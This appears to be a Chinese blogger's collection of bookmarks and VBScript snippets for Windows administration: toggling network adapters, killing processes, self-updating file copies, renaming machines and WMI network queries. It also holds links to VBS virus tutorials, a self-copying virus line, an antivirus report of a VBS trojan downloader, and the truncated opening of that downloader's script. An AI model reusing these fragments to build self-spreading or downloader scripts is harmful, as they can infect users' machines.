Const ssfCONTROLS = 3
sConnectionName = “本地连接”
sEnableVerb = “启用(&A)”
sDisableVerb = “禁用(&B)”
set shellApp = createobject(“shell.application”)
set oControlPanel = shellApp.Namespace(ssfCONTROLS)
set oNetConnections = nothing
for each folderitem in oControlPanel.items
if folderitem.name = “网络和拨号连接” then
set oNetConnections = folderitem.getfolder: exit for
end if
next
if oNetConnections is nothing then
wscript.quit
end if
set oLanConnection = nothing
for each folderitem in oNetConnections.items
if lcase(folderitem.name) = lcase(sConnectionName) then
set oLanConnection = folderitem: exit for
end if
next
if oLanConnection is nothing then
wscript.quit
end if
bEnabled = true
set oEnableVerb = nothing
set oDisableVerb = nothing
s = “Verbs: ” & vbcrlf
for each verb in oLanConnection.verbs
s = s & vbcrlf & verb.name
if verb.name = sEnableVerb then
set oEnableVerb = verb
bEnabled = false
end if
if verb.name = sDisableVerb then
set oDisableVerb = verb
end if
next
if bEnabled then
oDisableVerb.DoIt
else
oEnableVerb.DoIt
end if
wscript.sleep 1000
您好，脚本专家！
http://www.microsoft.com/china/technet/community/scriptcenter/resources/hey0218.mspx
定时检测U盘，复制U盘所有文件至指定目录_闲人小作_新浪博客
http://blog.sina.com.cn/s/blog_5cf9366e0100awz0.html
自己动手做备忘录（VBS版本） – 小朋友※乞丐 – 51CTO技术博客-领先的IT技术博客
http://hangzhou492.blog.51cto.com/67690/39915
VBS中常用脚本代码_vbs
http://www.jb51.net/article/7537.htm
VBS网摘02 – 小坏\’s BLOG – TOM博客
http://blog.tom.com/heijin163/article/1427.html
vbs脚本专题！不断更新中！希望对大家有所帮助！[天下网盟－网吧论坛]
http://bbs.txwm.com/dispbbs.asp?BoardID=190&ID=556746
论坛灌水脚本 （vbs） – 跟进中… – 博客园
http://www.cnblogs.com/netwenchao/archive/2008/12/22/1359765.html
用自删除dll实现应用程序的安装/卸载代码_黑暗之神
http://hi.baidu.com/xioazhu/blog/item/22ae4c90f113148aa977a4a3.html
Wscript.Shell 对象详细介绍！特好的东西_黑暗之神
http://hi.baidu.com/xioazhu/blog/item/32ae4a084f807a920b7b8259.html
vbs病毒制作之一——复制自身的vbs脚本-学院-捌度空间
http://cache.baidu.com/c?m=9d78d513d98711ee4fede5697d1cc0161f43f6672ba6d4027fa58438937328425016e7ac57550443939b733d47e90b4beb832b6f724665a09bbf825dddcdc46f38885068275a9b32529542fe951138c1229250f4ad1ee4bbed61d3e88982810344cd27037880f3804d00639029af4a&p=c0769a4287912df308e2957d4e40&user=baidu
# set copy1=createobject("scripting.filesystemobject")
#
# copy1.getfile(wscript.scriptfullname).copy("c:\\huan.vbs")
[原创]VBS递归文件夹里的所有文件_江浪心空[flex/ActionScript/JavaScript](论坛:http://flexphp.cn)
http://hi.baidu.com/jianglang/blog/item/5e54a04ba88291f282025ccf.html
监视U盘，复制U盘上所有文件至指定目录（VBS版本） 深度软件论坛 – 深度，值得深入！
http://soft.deepin.org/read-htm-tid-751753.html
vbs拷贝外部文件 – 编程区 – 爱好者论坛 IT知识与信息普及网站—爱好者网站 cfan&line;《电脑爱好者》杂志官方论坛 – Powered by Discuz!
http://bbs.cfan.com.cn/thread-663170-1-1.html
各位大虾请帮忙（只能给这么多分）！如何在程序中使程序自己退出再重新运行？ VC/MFC / 基础类 – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20011231/13/452546.html
百度_autoit吧_运行bat时怎么隐藏cmd窗口啊
http://tieba.baidu.com/f?kz=115126056
autorun.inf自动运行型病毒及代码分析-学院-黑客基地
http://cache.baidu.com/c?m=9f65cb4a8c8507ed4fece763105392230e54f7396f8689452c95c45f93130a1c187ba5ec76780d04d1c7797001d94b57fdf040723d1e21bc9cce885dddccc86e70d633712d5cd04e568358b8cb37749c62db4de9de0e96cde74395b9a2a2c82024&p=c366c31e85cc41ff57edc3364f&user=baidu
VBS复制文件问题
http://topic.csdn.net/u/20080718/13/58874101-3e0f-4cf8-9175-ef4746e64cf9.html
vbs automation copy file X: to X – 拉拉 – 博客园
http://www.cnblogs.com/guola/archive/2006/04/25/384105.html
VBS杀进程_无敌小龙
http://hi.baidu.com/pespin/blog/item/ed2a5a902e7aa08ea977a4cd.html
VBS字符串函数_扑满部落
http://hi.baidu.com/pjiahao/blog/item/06c53c1b7a18841c8718bf43.html
用vbs实现的强制杀进程的脚本_vbs
http://www.jb51.net/article/14498.htm
sub Close_Process(ProcessName)
On Error Resume Next
for each ps in getobject("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_ \’循环进程
if Ucase(ps.name)=Ucase(ProcessName) then
ps.terminate
end if
next
end sub
百度_批处理吧_运行bat时隐藏cmd窗口的方法
http://tieba.baidu.com/f?kz=141785449
用VBS写的一个超简单的批量更名脚本 – 技术 – Wu Hui Feng
http://wuhuifeng.com/post/37.html
如何用vbs代码复制文件呢？ 深度软件论坛 – 深度，值得深入！
http://soft.deepin.org/read-htm-tid-888843.html
★如何实现运行BAT批处理时隐藏黑窗口★_百度知道
http://zhidao.baidu.com/question/32518526.html
用vbs怎么把一个文件copy到一般用户的temp下_雅虎知识堂
http://ks.cn.yahoo.com/question/1407122605064.html
vbs复制文件的脚本_vbs
http://www.jb51.net/article/14813.htm
如何用bat后台运行explorer – DOS批处理 & 脚本技术（批处理室） – 中国DOS联盟论坛 – 中国DOS联盟之联合DOS论坛
http://www.cn-dos.net/forum/viewthread.php?tid=37136
如何隐藏BAT窗口。 – 『BAT交流&提问』 – 非常批处理交流论坛[V.B.T] 专注BAT&line;CMD&line;DOS&line;批处理的站点 – Powered by Discuz!
http://bbs.verybat.org/thread-4366-1-1.html
运行BAT时隐藏窗口 – DOS批处理 & 脚本技术（批处理室） – 中国DOS联盟论坛 – 中国DOS联盟之联合DOS论坛
http://www.cn-dos.net/forum/viewthread.php?tid=36661
我写的一段BAT病毒 – haochangzhi的日志 – 网易博客
http://haochangzhi.blog.163.com/blog/static/16111942008152524647/
用bat批处理自动安装更新补丁_天空亲吻大地
http://hi.baidu.com/yubb007/blog/item/3767440af9840b3ab0351d2c.html
应用程序的网上升级
http://vip.6to23.com/NowCan1/tech/inet_update.htm
程序需要关闭,再重新运行,要怎么做 VC/MFC / 进程/线程/DLL – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20021031/10/1136427.html
在VC中修改显示器的分辩率和色彩 – 编程开发 – 新云网络
http://www.newasp.net/tech/program/20100.html
软件手动更新代码(vs2003) 转载cnblogs – 感恩于生活! – 博客园
http://www.cnblogs.com/xiaobaigang/archive/2007/11/21/967590.html
WindowsClient.net
http://windowsclient.net/articles/appupdater.aspx
用Application Updater Block生成一个自我更新的WinForms 应用(下)_笔锋楼阁
http://hi.baidu.com/%C7%E0%C7%E0emily123_hello/blog/item/1a1d737a79fadee82e73b33e.html
Updater Application Block 2.0 介绍 – 13590–北极燕鸥 – 博客园
http://www.cnblogs.com/13590/articles/250411.html
如何使应用程序具有自动更新的功能？ .NET技术 / C# – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20020823/14/964523.html
WebService压缩方法(代码搜集来自互联网并加以整合) – 感恩于生活! – 博客园
http://www.cnblogs.com/xiaobaigang/archive/2008/01/04/1025770.html
WebService压缩方法(代码搜集来自互联网并加以整合)
项目介绍：
Client：客户端
WebService：服务器端
Common：通用压缩类
DataSetSurrogate：通过Surrogate 进行数据集二进制序列化
项目总结：
项目用到的WebService 压缩方法
* 方法一：webmethod直接返回byte[]
* 方法二：ICSharpCode 算法压缩（ICSharpCode.SharpZipLib.dll）
* 方法三：DataSetSurrogate返回 DataSetSurrogate 对象序列化并压缩
（DataSetSurrogate.dll）
\’ 自动更新
Set ws = CreateObject("Wscript.Shell")
Close_Process "notepad"
strLocalUrl=replace(WScript.ScriptFullName,WScript.ScriptName,"") \’获取脚本运行路径
If Right(strLocalUrl,1)<>"\\" then strLocalUrl=strLocalUrl&"\\" End if \’修正文件路径
strTargetPath=replace(strLocalUrl,"update","") \’获取脚本运行路径
If Right(strTargetPath,1)<>"\\" then strTargetPath=strTargetPath&"\\" End if \’修正文件路径
Set fso = CreateObject("Scripting.FileSystemObject")
GetSubFolders (fso.GetFolder(strLocalUrl))
\’ws.run "taskkill /im notepad* /f >nul",vbhide
\’ws.run "xcopy /y /r /e .\\*.* ..\\ >nudl"
\’set fso = CreateObject("Scripting.FileSystemObject")
\’fso.CopyFile "*","..\\",True
\’ws.run "..\\1.txt"
sub Close_Process(ProcessName)
On Error Resume Next
for each ps in getobject("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_ \’循环进程
if instr(ps.name,ProcessName)>0 then
ps.terminate
end if
next
end sub
\’ Enumerate all subfolder and files
Sub GetSubFolders(ByVal Folder)
For Each objFile In Folder.Files
strNewFile = strTargetPath & Right(objFile.Path, Len(objFile.Path) – Len(strLocalUrl))
fso.CopyFile objFile.Path, strNewFile, True
Next
For Each Subfolder In Folder.SubFolders
\’Wscript.Echo Subfolder.Path
strNewPath = strTargetPath & "\\" & Subfolder.Name
\’Wscript.Echo strNewPath
If (fso.FolderExists(strNewPath) = False) Then
fso.CreateFolder (strNewPath)
End If
GetSubFolders (Subfolder)
Next
End Sub
标签：update, vb, vbs
CopyHere ignores vOptions – MSDN Forums
https://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1471722&SiteID=1
CodeProject: Decompress Zip files with Windows Shell API and C#. Free source code and programming help
http://www.codeproject.com/KB/cs/decompresswinshellapics.aspx?df=100&forumid=221403&exp=0&select=1405570#xx1405570xx
CodeProject: Decompress Zip files with Windows Shell API and C#. Free source code and programming help
http://www.codeproject.com/KB/cs/decompresswinshellapics.aspx?df=100&forumid=221403&exp=0&select=1405570#xx1405570xx
WinForm程序如何实现自动更新？ .NET技术 / C# – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20041222/16/3667425.html
如何使应用程序具有自动更新的功能？ .NET技术 / C# – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20020823/14/964523.html
appupdater.aspx
使用Updater Application Block实现自动更新例子 – 昆明小虫 – 博客园
http://www.cnblogs.com/ynlxc/archive/2005/10/31/265252.html
Updater Application Block
自动更新程序的制作方法 – 专注于.Net – 博客园
http://www.cnblogs.com/cxy521/articles/1238247.html
WinForm程序如何实现自动更新？ .NET技术 / C# – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20041222/16/3667425.html
Writing a self-updating application in C# By Hendrik Swanepoel
http://www.eggheadcafe.com/articles/pfc/selfupdater.asp
Enterprise Library 3.1 – May 2007
http://msdn.microsoft.com/en-gb/library/aa480453.aspx
WinForm AutoUpdate Strategies : C#, WinForm Auto Update
http://www.experts-exchange.com/Programming/Languages/.NET/Q_23168711.html
Deploying C# Applications
http://msdn.microsoft.com/en-us/library/ms173084(VS.80).aspx
自动更新程序源码下载(C#.Net) – jenry-云飞扬 – 博客园
http://www.cnblogs.com/jenry/archive/2008/10/01/477302.html
VB Helper: HowTo: Shell WinZip to zip and unzip files
http://www.vb-helper.com/howto_shell_zip_and_unzip.html
CodeProject: Decompress Zip files with Windows Shell API and C#. Free source code and programming help
http://www.codeproject.com/KB/cs/decompresswinshellapics.aspx?df=100&forumid=221403&exp=0&select=1583265
Shell32.ShellClass sc = new Shell32.ShellClass(); Shell32.Folder SrcFlder = sc.NameSpace(strSrcPath); Shell32.Folder DestFlder = sc.NameSpace(strDestPath); Shell32.FolderItems items = SrcFlder.Items(); DestFlder.CopyHere(items, 20);
Free Zip component
http://www.xstandard.com/en/documentation/xzip/
VBScript Scripting Techniques: Work with ZIP Files
http://www.robvanderwoude.com/vbstech_files_zip.html
用vbs实现zip_个人交流
http://hi.baidu.com/li_panxue/blog/item/cf303327b29b2607918f9d10.html
用vbs实现zip – 阿强实验室
http://www.hackarea.com/Article/2008/6213.html
VBS显示解压、复制文件的进度[只能解压ZIP文件] – DOS资源站
http://www.cmdos.net/article/sort08/info-1153.html
Sub Extract(ByVal myZipFile, ByVal myTargetDir)
Dim intOptions, objShell, objSource, objTarget
Set objShell = CreateObject("Shell.Application")
Set objSource = objShell.NameSpace(myZipFile).Items()
Set objTarget = objShell.NameSpace(myTargetDir)
intOptions = 256
objTarget.CopyHere objSource, intOptions
Set objShell = Nothing
Set objSource = Nothing
Set objTarget = Nothing
End Sub
\’ System.Shell.Folder.CopyHere() 方法的语法格式:
\’ System.Shell.Folder.copyHere(oItem [, intOptions])
\’ 以下是CopyHere() 方法可用的 intOptions 值, 可参考MSDN (http://msdn2.microsoft.com/en-us/library/ms723207.aspx).
\’ 0: Default. No options specified.
\’ 4: Do not display a progress dialog box.
\’ 8: Rename the target file if a file exists at the target location with the same name.
\’ 16: Click "Yes to All" in any dialog box that is displayed.
\’ 64: Preserve undo information, if possible.
\’ 128: Perform the operation on files only if a wildcard file name (*.*) is specified.
\’ 256: Display a progress dialog box but do not show the file names.
\’ 512: Do not confirm the creation of a new directory if the operation requires one to be created.
\’ 1024: Do not display a user interface if an error occurs.
\’ 4096: Disable recursion. Only operate in the local directory.Don\’t operate recursively into subdirectories.
\’ 9182: Do not copy connected files as a group. Only copy the specified files.
moveHere Method (System.Shell.Folder)
http://msdn.microsoft.com/en-us/library/ms723211(VS.85).aspx
SmartPhone 2003 and .NETcf Primer
http://www.devbuzz.com/Articles/zinc_smartphone_compactframework_pg3.aspx
[Updated 23 Mar 08] Call Firewall + SMS Blocker 1.4 – SmartPhone + MotoQ Versions [Archive] – xda-developers
http://forum.xda-developers.com/archive/index.php/t-307178.html
组策略+脚本查看AD中所有电脑的硬件配置信息_亮亮_新浪博客
http://blog.sina.com.cn/s/blog_3d96d0fa0100cdwf.html
查询目标计算机软件和硬件清单，并输出为HTML网页文档_c#编程
http://hi.baidu.com/net2005/blog/item/cbd3c023a962be4cad34dea8.html
您好，脚本专家！
http://www.microsoft.com/china/technet/community/scriptcenter/resources/hey050802.mspx
几个关机、重启NT系统的脚本(如何定时或系统无相应一段时间后执行关机任务)
http://www.chinaitpower.com/A/2003-02-02/48883.html
VC知识库BLOG-Abbey的小匣子-利用WMI判断IE版本、判断Windows版本
http://blog.vckbase.com/abbey/articles/27020.html
Win32_OperatingSystem
VB中调用Windows API函数检测当前系统环境 – 软件开发网 – 提供编程开发资料的编程网
http://www.mscto.com/vb/200811/18-7852.html
如何在 Windows 2000 中配置权威时间服务器
http://support.microsoft.com/kb/216734/
QMainWindow类
http://www.kuqin.com/qtdocument/qmainwindow.html
读书摘要——Qt.4(ZT) – ★段昌平★的日志 – 网易博客
http://duanyuxue.blog.163.com/blog/static/437315192008101345620674/
Qt 4.3: Qt Designer\’s Widget Editing Mode
http://doc.trolltech.com/4.3/designer-editing-mode.html#splitter-layouts
Splitter Layouts
qt designer
http://oaunix.hlhs.hlc.edu.tw/bcc/study-area/-http—www.study-area.org-tips-qd-qt.html
在Visual Studio 2008中安装Qt 4.5&line;Qt Installing & Deployment – Qt中文论坛 —— Qt专业技术网站 – powered by phpwind.net
http://www.qtcn.org/bbs/read.php?tid=16744
[原创]探讨多个QRadioButtons的AutoExclusive的问题 – ☆Smoozer☆ – 博客园
http://www.cnblogs.com/smoozer/archive/2009/02/20/1394607.html
用QT Designer做界面生成代码后_有 点 乱
http://hi.baidu.com/luoxxib/blog/item/b627b1ecd259793b27979136.html
偶的第一个程序,贴上来,留做纪念(上) _雷雨_新浪博客
http://blog.sina.com.cn/s/blog_4d74eef9010009rm.html
使用VC2005编译真正的静态Qt程序 – tony – CSDNBlog
http://blog.csdn.net/tonylk/archive/2009/02/06/3866926.aspx
Qt程序静态编译_风语者
http://hi.baidu.com/thinke365/blog/item/03aeeed7199c492806088b76.html
弄了一个GHOST系统，如果多台机器GHOST
那么会出现 网络 重名 的提示
想想用VBS改计算机名，然后放在RUN或者RUNONCE里面
VBS：
\’修改机器名
Set WshShell = CreateObject("Wscript.Shell")
Set Fso = CreateObject("SCripting.FileSystemObject")
WshShell.RegWrite "HKLM\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName\\ComputerName", ComputerConfig(0) ,"REG_SZ"
WshShell.RegWrite "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\NV Hostname", ComputerConfig(0) ,"REG_SZ"
WshShell.RegWrite "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Hostname", ComputerConfig(0) ,"REG_SZ"
REG：
添加启动项.reg
——————————————————————————
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"AutoConfig"="E:\\\\AutoConfig\\\\AutoConfig.vbs"
——————————————————————————————————
另存为“ 添加启动项.reg”
～～～～～～～～
看上去很简单，弄上去似乎也正常
但是加上 BBLEAN 和 EWFMGR 后
经常出现 LSASS.EXE 错误，然后就只能重启了
最后换成WMI
Wmi可以这样
Set objWMIService = GetObject("winmgmts:&leftsign;impersonationLevel=impersonate&rightsign;!\\\\" & "." & "\\root\\cimv2")
Set colComputers = objWMIService.ExecQuery ("Select * from Win32_ComputerSystem")
For Each objComputer in colComputers
err = ObjComputer.Rename("shengfang")\’机器名
ReturnValue = objComputer.JoinDomainOrWorkGroup("技术中心")\’工作组
Next
没有时间去确认到底哪里引起 LSASS 不正常了
不过
vbs中关于计算机名的相关讨论
发布：dxy 字体：[增加 减小] 类型：转载
原文：http://www.opencjk.org/~scz/
好像说的蛮详细的
标签：com, vb, vbs, wmiwhen netcard disconnect ,wmi can not get ip,only get 0.0.0.0
Re: Client IP retrieval
http://www.tech-archive.net/Archive/Windows/microsoft.public.windows.server.scripting/2007-10/msg00119.html
What\’s wrong with this script, why won\’t it run? – Tech Support Guy Forums
http://forums.techguy.org/software-development/430225-what-s-wrong-script-why.html
Win32_NetworkAdapterConfiguration Class (Windows)
http://msdn.microsoft.com/en-us/library/aa394217(VS.85).aspx
Data Management & Warehousing Portal – Expertise and Knowledge in Data Warehousing
http://www.datamgmt.com/index.php?module=phpwsbb&PHPWSBB_MAN_OP=view&PHPWS_MAN_ITEMS=1
Get IP address from Win32_NetworkAdapterConfiguration : Win32_NetworkAdapterConfiguration « Network « C# / CSharp Tutorial
http://www.java2s.com/Tutorial/CSharp/0580__Network/GetIPaddressfromWin32NetworkAdapterConfiguration.htm
[2008] WMI Network Information (IP Address) – VBForums
http://www.vbforums.com/showthread.php?p=3341276
write to vbs file … – Indigo Rose Software Forums
https://www.indigorose.com/forums/showthread.php?p=119566
Get the IP address in a Windows application (C# Programming Tutorial) • Geekpedia
http://www.geekpedia.com/tutorial149_Get-the-IP-address-in-a-Windows-application.html
VBS log on script restart PC if no IP or Cable Disconnected? – Yahoo! Answers
http://answers.yahoo.com/question/index?qid=20061125092343AAGbZ8M
Win32_NetworkAdapterConfiguration
CodeProject: Configuring TCP/IP Settings using WMI and C#. Free source code and programming help
http://secure.codeproject.com/KB/system/cstcpipwmi.aspx
CodeProject: Configuring TCP/IP Settings using WMI and C#. Free source code and programming help
http://proxytoy.com/index.php?hl=f5&q=uggc%3A%2F%2F209.85.175.104%2Fh%2Fyblbynpuvpntb%3Fd%3Dpnpur%3A_KZ5sFIrLGpW%3Afrpher.pbqrcebwrpg.pbz%2FXO%2Fflfgrz%2Fpfgpcvcjzv.nfck%2Bp%2523%2Bqvfpbaarpgrq%2BJva32_ArgjbexNqncgrePbasvthengvba%26uy%3Dra%26pg%3Dpyax%26pq%3D1
FYI: Using two nics (Network Cards) with vb.net – .NET
http://bytes.com/forum/thread102780.html
microsoft.public.dotnet.framework: Re: Network Connection Event Listener
http://www.tech-archive.net/Archive/DotNet/microsoft.public.dotnet.framework/2004-03/0732.html
Why is INADDR_ANY resolved to the same source address on all adapters when doing a broadcast? : Microsoft, WinXP, SP2, Networking
http://www.experts-exchange.com/Networking/Misc/Q_23104252.html
如何在c#中更改本机的IP地址？(高手进～)（c#,winform,asp.net都可以） .NET技术 / C# – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20051111/13/4387055.html
如何用C#实现获取并修改本机ip地址的功能？ .NET技术 / C# – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20050526/12/4037102.html
C# 修改IP、网关、DNS – 道。道。道 – C++博客
http://www.cppblog.com/eday/articles/35085.html
C# 修改IP、网关、DNS_杂七杂八
http://hi.baidu.com/zybuaa/blog/item/fa4b2ca4ac1b93f29052ee24.html
C#调用WMI更改本地网络IP设置 @阿良.NET
http://www.chenjiliang.com/Article/View.aspx?ArticleID=3860&TypeID=84
获取本机ip地址 VB / API – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20050419/20/3950110.html
http://blog.csdn.net/tanaya/archive/2004/08/17/76742.aspx
如何获取本机IP? VC/MFC / 基础类 – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20020828/13/976926.html
NDIS WMI Notes
http://www.ndis.com/faq/QA01050301/default.htm
WMI Classes (Windows)
http://msdn.microsoft.com/en-us/library/aa394554.aspx
百度_甘官屯吧_获取本机和远程计算机IP及MAC地址2007年08月22日 星期三 10:48利用
http://tieba.baidu.com/f?kz=302812240
CodeProject: Process Information and Notifications using WMI. Free source code and programming help
http://69.10.233.10/KB/system/win32processusingwmi.aspx
CodeProject: VBScript for sending IP information to an e-mail address. Free source code and programming help
https://secure.codeproject.com/KB/vbscript/mailipinfo.aspx
None of the network adapters have "IPEnabled = True" set – MSDN Forums
http://forums.microsoft.com/msdn/ShowPost.aspx?PostID=1177662&SiteID=1
关于网络连接状态的编程
http://www.chinaitpower.com/A/2004-01-30/69959.html
Changing TCP/IP settings – .NET
http://bytes.com/forum/thread102828.html
《风色幻想xx》解放你的手指 轻松打出perfect _ 游民星空 GamerSky.com
http://www.gamersky.com/handbook/200808/121080.shtml
简单验证码的生成及显示__教程
http://www.mbsky.com/InfoView/Article_3736.html
vbscript基础，急急急
http://topic.csdn.net/u/20081106/11/294af76b-202a-405a-bce8-5360f8684a01.html
vbscript基础，急急急
http://topic.csdn.net/u/20081106/11/294af76b-202a-405a-bce8-5360f8684a01.html
百度_按键精灵吧_求教延迟随机时间
http://tieba.baidu.com/f?kz=493584035
自动配置客户端上的 TCP/IP 网络 — 第 2 部分：使用脚本来管理客户端上的基本 TCP/IP 网络设置
http://www.microsoft.com/china/technet/community/scriptcenter/topics/networking/02_atnc_basic.mspx
win32 programmer wmi Need to list the Physical Network Adapters installed on a System
http://www.eggheadcafe.com/forumarchives/win32programmerwmi/Oct2005/post25122084.asp
CodeProject: Configuring TCP/IP Settings using WMI and C#. Free source code and programming help
http://www.codeproject.com/KB/system/cstcpipwmi.aspx
PDU短信发送编码程序（C# 2.0） – SY的专栏 – CSDNBlog
http://blog.csdn.net/philorlogin/archive/2006/04/25/677057.aspx
vbs怎么获取一个随机数????_百度知道
http://zhidao.baidu.com/question/53894535.html
(转)VBS生成不重复随机数 _ 网魂工作室
http://www.ad0.cn/netfetch/read.php/112.htm
On Error Resume Next
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "&leftsign;impersonationLevel=impersonate&rightsign;!\\\\" & strComputer & "\\root\\cimv2")
Set colNicConfigs = objWMIService.ExecQuery _
("SELECT * FROM Win32_NetworkAdapterConfiguration")
检测不到网线被拔掉的网卡？？
CodeProject: Configuring TCP/IP Settings using WMI and C#. Free source code and programming help
http://www.codeproject.com/KB/system/cstcpipwmi.aspx
win32 programmer wmi Need to list the Physical Network Adapters installed on a System
http://www.eggheadcafe.com/forumarchives/win32programmerwmi/Oct2005/post25122084.asp
自动配置客户端上的 TCP/IP 网络 — 第 2 部分：使用脚本来管理客户端上的基本 TCP/IP 网络设置
http://www.microsoft.com/china/technet/community/scriptcenter/topics/networking/02_atnc_basic.mspx
vbs 循环更新本地 arp 列表,一定程度上防止 arp 捣乱，_baidu – 东邪思想的空间
http://hi.baidu.com/dxsx/blog/item/39045b9070c98b8ca977a4b6.html
vbs中for循环如何强行关闭！！！ – 开发社区问答中心 – ZDNetChina中文社区 资讯&line;硬件&line;软件&line;开发&line;技术论坛
http://bbs.zdnet.com.cn/viewthread.php?tid=689575
vbs循环产生的参数怎么传递 – DOS批处理 & 脚本技术（批处理室） – 中国DOS联盟论坛 – 中国DOS联盟之联合DOS论坛
http://www.cn-dos.net/forum/viewthread.php?tid=40994
博庭技术支持_MSN中国
http://bbs.wayup.hexun.com/msnviewarticle.aspx?aid=33911230&bid=196
VBS如何循环执行一个命令[天下网吧-网盟论坛]
http://bbs.txwb.com/dispbbs_202_140643_4.html
PDU短信发送编码程序（C# 2.0） – SY的专栏 – CSDNBlog
http://blog.csdn.net/philorlogin/archive/2006/04/25/677057.aspx
.net平台手机管理软件开发（1-4） – hesicong的专栏 – CSDNBlog
http://blog.csdn.net/hesicong/archive/2005/02/13/287028.aspx
.net平台手机管理软件开发(12)—— 短信部分 通过RS232发送和接收短信 – hesicong的专栏 – CSDNBlog
http://blog.csdn.net/hesicong/archive/2005/02/21/296670.aspx
最全的手机短信发送程序 CSDN 下载频道
http://download.csdn.net/down/621024/fjh80322
C#开发终端式短信的原理和方法 &line; C# &line; 软件 &line; 天极Yesky
http://www.yesky.com/SoftChannel/72342380468109312/20040523/1800310_6.shtml
全部解决：SMS、AT指令、PDU编码、串口通信、源程序、完全示例、详细说明 移动平台 / 近距离无线技术 – CSDN社区 community.csdn.net
http://topic.csdn.net/t/20040726/18/3212036.html
关于网络连接状态的编程_.Net文摘_开发文摘_软件开发_天新网
http://dev.21tx.com/2005/03/17/11982.html
WMI 应用——用 VBScript 编写类似 ipconfig 的工具_终南的IT空间
http://hi.baidu.com/li_zhongnan/blog/item/8a3f8dad1696280f4a36d628.html
變更您的 IP 位址在 Windows 2000 Server 中使用 WMI Win32_NetworkAdapterConfiguration 指令碼之後，您無法存取網路
http://support.microsoft.com/kb/873404/zh-tw
利用WMI修改计算机的网络设置
http://www.chinaitpower.com/A/2002-03-03/15600.html
利用WMI打造完美“三无”后门-消灭一切假网卡 – 华夏黑客同盟 – http://www.77169.com
http://programme.77169.com/HTML/20081017100314.html
20070314 超级巡警 Anti-Spyware toolkit
Trojan-Downloader.VBS.Small.dc
使用了一下
超级巡警(Anti-Spyware toolkit) 2.7.0标准版下载：(绿色免安装版只需要将URL后面的ast_setup.exe换成ast.rar即可以下载)
电信下载地址：点此下载 网通下载地址：点此下载
md5sum：646b983ba6cd714e3c253b421981be2c *ast_setup.exe
版本区别：
x.x.x 标准版 ：最终稳定版，适合大多数使用者。
x.x.x 专业版 ：使用许多内核技术相对稳定的版本，适合专业人士使用。
x.x.x 预览版 ：如果您愿意和DSWLAB一起成长，如果你想体验最新的改动和功能增加，并且不怕 BUG 和因此的系统不稳定，那么请来吧…
门查杀并可辅助查杀各种木马、流氓软件、利用Rootkit技术的各种后门和其它恶意代码(间谍软件、蠕虫病毒)等等。提供了多种专业工具，提供系统 /IE修复、隐私保护和安全优化功能，提供了全面的系统监测功能，使你对系统的变化了如指掌，配合手动分析可近100%的查杀未知恶意代码！
主要特色：
1)、通用的自动化Rootkit解决方案，不使用传统特征码，即可检测各种利用Rootkit技术隐藏的木马、后门。
2)、全面检测隐藏进程、隐藏服务、隐藏端口。
3)、自动检测和修复Winsock SPI链的相关错误。
4)、系统内核服务描述表恢复，显示和摘除被Hook的内核函数，自动还原被Inline hook的内核函数。
5)、独创的快速匹配算法，在最小的系统资源占用级别上进行最快的扫描检测。
6)、扫描模块和实时监控共用引擎和库在内存中的同一份拷贝，大大降低系统资源占用，模块间高效协同工作。
7)、内存扫描和静态分析预警系统有机结合。
8)、立足于病毒家族的广谱特征，强力…
超级巡警是一款专门查杀并可辅助查杀各种木马、流氓软件、利用Rootkit技术的各种后门和其它恶意代码(间谍软件、蠕虫病毒)等等。提供了多种专业工具，提供了全面的系统监测功能，使你对系统的变化了如指掌，配合手动分析可近100%的查杀未知恶意代码！
v 2.7.0
1、引擎级全面查杀AUTORUN类病毒。
2、降低CPU占用：)
3、提供U盘病毒免疫器
4、熊猫烧香专杀升级至1.6，超级巡警全面监测熊猫烧香。
5、解决在主窗口上回车关闭的问题
6、解决右键扫描窗口清除病毒显示数不准确的问题
7、启动管理增加一个导出报告
8、升级程序在无人干预情况下30秒自动关闭
9、从本版开始全模块在线升级
、主要特色：
1)、通用的自动化Rootkit解决方案，不使用传统特征码，即可检测各种利用Rootkit技术隐藏的木马、后门。
2)、全面检测隐藏进程、隐藏服务、隐藏端口。
3)、自动检测和修复Winsock SPI链的相关错误。
4)、系统内核服务描述表恢复，显示和摘除被Hook的内核函数，自动还原被Inline hook的内核函数。
5)、独创的快速匹配算法，在最小的系统资源占用级别上进行最快的扫描检测。
6)、扫描模块和实时监控共用引擎和库在内存中的同一份拷贝，大大降低系统资源占用，模块间高效协同工作。
7)、内存扫描和静态分析预警系统有机结合。
8)、立足于病毒家族的广谱特征，强力提高病毒检测率。
9)、前瞻性的主动防御监测体系，全面检测未知木马。
10)、国内首个支持NTFS数据流扫描，使检测更彻底。
11)、纯绿色软件，解压即可使用。
3、主要功能：
启发预警，启动管理，IE插件管理，SPI链自动检测与修复，Rootkit检测，服务管理，隐藏服务检测，过滤微软默认服务，服务增加和删除，SSDT(服务描述表)恢复，进程管理，隐藏进程检测，DLL模块强制卸载，检测隐藏端口，断开连接，定位远程IP，WHOIS查询，关闭端口，IE修复，流氓插件免疫，恶意网站屏蔽，系统垃圾清理，智能扫描，文件粉碎机，软件卸载，系统优化，系统修复，漏洞检查和修复，右键查毒，漏洞检查和修复，系统诊断报告，论坛救援，启发扫描，NTFS数据流扫描，签名分析，全面扫描，内存扫描，目录扫描，信任列表，实时监控，智能升级。
发现病毒:Trojan-Downloader.VBS.Small.dc 处理结果:仅报告 描述:木马下载器 感染文件:D:\\Documents and Settings\\shengfang\\桌面\\url[1].htm
感觉还可以
<script language="VBScript">
on error resume next
m1="object"
m2="classid"
